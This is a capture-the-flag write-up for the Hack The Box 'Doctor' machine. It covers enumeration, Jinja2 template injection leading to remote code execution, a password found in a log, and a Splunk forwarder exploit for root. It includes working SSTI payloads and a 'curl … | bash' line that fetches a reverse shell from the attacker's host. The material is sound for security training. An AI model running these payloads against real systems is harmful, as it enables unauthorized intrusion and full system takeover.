Hack The Box - Doctor Writeup
Doctor is an easy linux box by egotisticalSW.
Overview
The box starts with web enumeration, where we find a server-side template injection vulnerability that allows us to gain code-execution on the system. Using the RCE, we get a shell as the web user on the system.
As the web user is part of the adm group, we can log-files. Searching through the apache2-logfiles directory, we find a backup-file containing credentials. Using these credentials we can su to user and read user.txt.
Checking out the system, we can find the installed version of splunk is vulnerable to arbitrary code-execution. Exploiting the vulnerability, we get code-execution as root and can read root.txt.
Information Gathering
Nmap
We begin our enumeration with a nmap scan for open ports.
root@darkness:~# nmap -sC -sV 10.10.10.209
Nmap scan report for 10.10.10.209
Host is up (0.38s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 59:4d:4e:c2:d8:cf:da:9d:a8:c8:d0:fd:99:a8:46:17 (RSA)
| 256 7f:f3:dc:fb:2d:af:cb:ff:99:34:ac:e0:f8:00:1e:47 (ECDSA)
|_ 256 53:0e:96:6b:9c:e9:c1:a1:70:51:6c:2d:ce:7b:43:e8 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Doctor
8089/tcp open ssl/http Splunkd httpd
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Splunkd
|_http-title: splunkd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2020-09-06T15:57:27
|_Not valid after: 2023-09-06T15:57:27
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Enumeration
The open ports shown are 22 (ssh), 80 (http) and 8089 (splunkd). Let us start with http, as ssh usually is not that interesting without credentials.
HTTP - Port 80
Going to http://10.10.10.209, we get presented with following page.
Looking at the index-webpage, we can spot an email address: info@doctors.htb
. Let us add doctors.htb
to our /etc/hosts
file and see if there is a VHost listening on the hostname.
root@darkness:~# tail -n 1 /etc/hosts
10.10.10.209 doctors.htb
Going to http://doctors.htb, we get shown following page:
Let us create an account and see what hides behind the login page.
After registering an account, we can login.
After login, we get redirected to /home.
We are able to create a new message or manage our account. The account management does not seem interesting, so let us try to create a new message.
After creating a new message, we get redirected to home, where our message is now being shown.
As the content of our messages are being displayed, I am thinking about a couple of possible vulnerability, especially Template Injection.
Testing for Server-side template injection
When testing for Template Injection, I always go back to PortSwigger’s Server-side template injection article.
Especially this image is very helpful:
We can now simply go down this decision tree.
Seems like we are going to follow the lower-path.
Seems like the target is not vulnerable to Template injection. Let us further enumerate the webpage with a gobuster to find more endpoints to enumerate.
root@darkness:~# gobuster dir -u http://doctors.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://doctors.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/01/13 11:50:58 Starting gobuster in directory enumeration mode
===============================================================
/home (Status: 302)
/login (Status: 200)
/archive (Status: 200)
/register (Status: 200)
/account (Status: 302)
We get a new interesting endpoint that weren’t shown in the menu tabs: /archive
.
Going to http://doctors.htb/archive, we get an empty page, however looking at the source code we get following output:
<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title>Archive</title>
<item><title>Test</title></item>
</channel>
<item><title>${7*7}</title></item>
</channel>
<item><title>49</title></item>
</channel>
Interestingly, we have 49
as one of the items, instead of our payload, which means that the /archive
endpoint is vulnerable to Server-side Template injection.
Let us continue our SSTI enumeration, by testing the final payload:
{{ 7*'7' }}
As a result we get following XML:
<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title>Archive</title>
<item><title>test</title></item>
</channel>
<item><title>7777777</title></item>
</channel>
Seems like our Templating engine is either Twig
or Jinja2
.
We can now use the PayloadAllTheThings Repo and check the Twig and the Jinja2 injections and see what works.
Finding templating engine
Let us test for Twig first, by trying following payload:
{{ dump(app) }}
This results into following response on /archive:
Seems like we did cause some error on the server with this payload. Let us try a Jinja2 payload next:
{{ config.items() }}
As a response we get following data:
<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title>Archive</title>
<item><title>dict_items([('ENV', 'production'), ('DEBUG', False), ('TESTING', False), ('PROPAGATE_EXCEPTIONS', None), ('PRESERVE_CONTEXT_ON_EXCEPTION', None), ('SECRET_KEY', '1234'), ('PERMANENT_SESSION_LIFETIME', datetime.timedelta(days=31)), ('USE_X_SENDFILE', False), ('SERVER_NAME', None), ('APPLICATION_ROOT', '/'), ('SESSION_COOKIE_NAME', 'session'), ('SESSION_COOKIE_DOMAIN', False), ('SESSION_COOKIE_PATH', None), ('SESSION_COOKIE_HTTPONLY', True), ('SESSION_COOKIE_SECURE', False), ('SESSION_COOKIE_SAMESITE', None), ('SESSION_REFRESH_EACH_REQUEST', True), ('MAX_CONTENT_LENGTH', None), ('SEND_FILE_MAX_AGE_DEFAULT', datetime.timedelta(seconds=43200)), ('TRAP_BAD_REQUEST_ERRORS', None), ('TRAP_HTTP_EXCEPTIONS', False), ('EXPLAIN_TEMPLATE_LOADING', False), ('PREFERRED_URL_SCHEME', 'http'), ('JSON_AS_ASCII', True), ('JSON_SORT_KEYS', True), ('JSONIFY_PRETTYPRINT_REGULAR', False), ('JSONIFY_MIMETYPE', 'application/json'), ('TEMPLATES_AUTO_RELOAD', None), ('MAX_COOKIE_SIZE', 4093), ('MAIL_PASSWORD', 'doctor'), ('MAIL_PORT', 587), ('MAIL_SERVER', ''), ('MAIL_USERNAME', 'doctor'), ('MAIL_USE_TLS', True), ('SQLALCHEMY_DATABASE_URI', 'sqlite://///home/web/blog/flaskblog/site.db'), ('WTF_CSRF_CHECK_DEFAULT', False), ('SQLALCHEMY_BINDS', None), ('SQLALCHEMY_NATIVE_UNICODE', None), ('SQLALCHEMY_ECHO', False), ('SQLALCHEMY_RECORD_QUERIES', None), ('SQLALCHEMY_POOL_SIZE', None), ('SQLALCHEMY_POOL_TIMEOUT', None), ('SQLALCHEMY_POOL_RECYCLE', None), ('SQLALCHEMY_MAX_OVERFLOW', None), ('SQLALCHEMY_COMMIT_ON_TEARDOWN', False), ('SQLALCHEMY_TRACK_MODIFICATIONS', None), ('SQLALCHEMY_ENGINE_OPTIONS', {})])</title></item>
</channel>
Seems like our Jinja2 payload worked, which means that we can try for code-execution next.
Remote Code execution
Let us try following Jinja2 payload for RCE:
{{ config.__class__.__init__.__globals__['os'].popen('id').read()config.items() }}
As a response, we get following data:
<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title>Archive</title>
<item><title>uid=1001(web) gid=1001(web) groups=1001(web),4(adm)
</title></item>
</channel>
Seems like we are able to execute code on the system successfully. Let us try to get a shell next.
Initial shell
For this we use following payload:
{{ config.__class__.__init__.__globals__['os'].popen('curl 10.10.14.5/s.sh|bash').read() }}
s.sh
is a bash-reverse-shell payload.
We then start our http-server and send the payload.
root@darkness:~# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.209 - - [13/Jan/2021 14:34:04] "GET /s.sh HTTP/1.1" 200 -
We successfully get a request to our http-server and a response to our listener.
root@darkness:~# nc -lvnp 443
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.209.
Ncat: Connection from 10.10.10.209:53216.
bash: cannot set terminal process group (839): Inappropriate ioctl for device
bash: no job control in this shell
web@doctor:~$
Bonus - Automation using Python
As automation is fun, I have created a python exploit script to exploit the SSTI (available on my GitHub).
Privesc to user
Now that we have our initial shell, let us try to get access to a more privilege account.
Enumeration as web
Let us begin our enumeration by checking the privileges of the web user.
web@doctor:~$ id
uid=1001(web) gid=1001(web) groups=1001(web),4(adm)
Seems like we are part of the adm
group, which is a privileged group that allows us to read log files in /var/log
.
Let us search for interesting information in the log folder next.
web@doctor:/var/log/apache2$ ls -alh
total 4,1M
drwxr-x--- 2 root adm 4,0K Jan 13 00:00 .
drwxrwxr-x 13 root syslog 4,0K Jan 13 00:00 ..
-rw-r----- 1 root adm 417K Jan 13 14:47 access.log
-rw-r----- 1 root adm 769K Jan 12 21:39 access.log.1
[...]
-rw-r----- 1 root adm 22K Sep 17 16:23 backup
-rw-r----- 1 root adm 726 Jan 13 14:47 error.log
-rw-r----- 1 root adm 897 Jan 13 00:00 error.log.1
Looking at the /var/log/apache2
directory the file backup
stands out to me. It does not seem to be a default file, which may mean that interesting information hides in it.
Finding password in backup
Let us search for the term password
in the file.
web@doctor:/var/log/apache2$ grep password backup
10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"
Seems like we have a possible password-candidate: Guitar123
.
Let us read /etc/passwd
to find all users on the system to try login to.
web@doctor:~$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
web:x:1001:1001:,,,:/home/web:/bin/bash
shaun:x:1002:1002:shaun,,,:/home/shaun:/bin/bash
splunk:x:1003:1003:Splunk Server:/opt/splunkforwarder:/bin/bash
We have three users we can try to su to: root
, shaun
and splunk
.
Su to user
web@doctor:~$ su shaun
Password: Guitar123
shaun@doctor:/home/web$
We are able to su to shaun using the found password and can read user.txt.
shaun@doctor:~$ cat user.txt
da611***************************
Privesc - Root
Now that we have user, let us enumerate the system to find a privesc-vector to root.
Enumeration as shaun
Remembering back to the nmap-scan (and the /etc/passwd), there seems to be splunk installed on the server.
Let us check out /opt/splunkforwarder
next.
shaun@doctor:/opt/splunkforwarder$ ls -alh
total 180K
drwxr-xr-x 9 splunk splunk 4,0K Jan 12 20:04 .
drwxr-xr-x 4 root root 4,0K Sep 6 17:56 ..
drwxr-xr-x 3 splunk splunk 4,0K Sep 6 17:56 bin
-r--r--r-- 1 splunk splunk 57 Jul 8 2020 copyright.txt
drwxr-xr-x 13 splunk splunk 4,0K Jan 12 21:56 etc
drwxr-xr-x 2 splunk splunk 4,0K Sep 6 17:56 include
drwxr-xr-x 5 splunk splunk 4,0K Sep 6 17:56 lib
-r--r--r-- 1 splunk splunk 84K Jul 8 2020 license-eula.txt
drwxr-xr-x 3 splunk splunk 4,0K Sep 6 17:56 openssl
-r--r--r-- 1 splunk splunk 841 Jul 8 2020 README-splunk.txt
drwxr-xr-x 4 splunk splunk 4,0K Sep 6 17:56 share
-r--r--r-- 1 splunk splunk 50K Jul 8 2020 splunkforwarder-8.0.5-a1a6394cc5ae-linux-2.6-x86_64-manifest
drwx--x--- 6 root root 4,0K Sep 6 17:57 var
Seems like splunkforwarder Version 8.0.5
is installed on the system. Let us do a quick research and see if this version is vulnerable. A Google search returns this article, which explains that authenticated users can upload apps that run arbitrary code in the context of root.
Exploiting splunk
The article refers to PySplunkWhisperer2, which is a POC for this vulnerability.
Let us run the exploit-code and get a shell on the server as root.
root@darkness:~/SplunkWhisperer2/PySplunkWhisperer2# python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --lhost 10.10.14.5 --username shaun --password Guitar123 --payload "curl 10.10.14.5/s.sh|bash"
The exploit uploads the malicious app and executes our payload.
root@darkness:~# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.209 - - [13/Jan/2021 15:08:04] "GET /s.sh HTTP/1.1" 200 -
We successfully get a request on our http-server getting the bash payload.
root@darkness:~# nc -lvnp 443
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.209.
Ncat: Connection from 10.10.10.209:53242.
bash: cannot set terminal process group (1137): Inappropriate ioctl for device
bash: no job control in this shell
root@doctor:/#
We successfully get a shell as root and can now read root.txt.
root@doctor:/root# cat root.txt
421cd***************************